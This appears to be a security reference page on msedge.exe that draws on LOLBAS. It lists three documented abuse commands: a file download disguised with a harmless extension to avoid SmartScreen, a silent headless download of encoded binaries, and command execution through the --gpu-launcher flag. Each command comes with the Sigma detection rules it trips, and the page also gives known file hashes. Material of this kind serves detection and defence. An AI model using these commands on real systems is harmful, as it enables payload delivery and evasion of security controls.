Identifier / Programs / Windows
msedge.exe
Modern web browser developed by Microsoft based on the Chromium web browser developed by Google. This command is available instead as microsoft-edge for other platforms. tldr-pages
LOLBAS Download, Execute 9 Sigma rules name it 2 ATT&CK techniques 3 documented commands 2 known copies with hashes
How msedge.exe is abused
Download T1105 Ingress Tool Transfer
Execute T1218.015 System Binary Proxy Execution: Electron Applications
--disable-gpu-sandbox--gpu-launcherEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for msedge.exe.
3 documented commands
Download T1105 Ingress Tool Transfer User privileges
Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
msedge.exe {REMOTEURL:.exe.txt}Trips 1 Sigma rule: mediumFile Download From Browser Process Via Inline URL by Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
Download T1105 Ingress Tool Transfer User privileges
Edge will silently download the file. File extension should be .html and binaries should be encoded.
msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}Trips 2 Sigma rules: highFile Download with Headless Browser by Sreeman, Florian Roth (Nextron Systems); lowBrowser Execution In Headless Mode by Nasreddine Bencherchali (Nextron Systems)
Execute T1218.015 System Binary Proxy Execution: Electron Applications User privileges
Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command
msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"Trips 1 Sigma rule: mediumPotentially Suspicious Electron Application CommandLine by frack113, Nasreddine Bencherchali (Nextron Systems)
All 3 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for msedge.exe, by mr.d0x, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for msedge.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real msedge.exe?
C:\Program Files (x86)\Microsoft\Edge\Application\2 known copies
95.0.1020.40 · C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe · signed by Microsoft Corporation
71a40dd26769a2ae0256ae54f02f22ec6a60c9ac8aabe5ba3773eeddde22b75685.0.564.68 · C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe · signed by Microsoft Corporation
31284bab2fbe9c7cb04145d165e81ffc8096838196399902015769eda9b053a3From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.
Everyday use
Open a specific URL or file
msedge https://example.comIdentifyMatches LOLBAS abuse: Download (T1105)
Open in InPrivate mode
msedge --inprivate example.comIdentifyOpen in a new window
msedge --new-window example.comIdentifyOf the 3 examples the identifier reads, 1 matches LOLBAS abuse or trips a Sigma process-creation rule.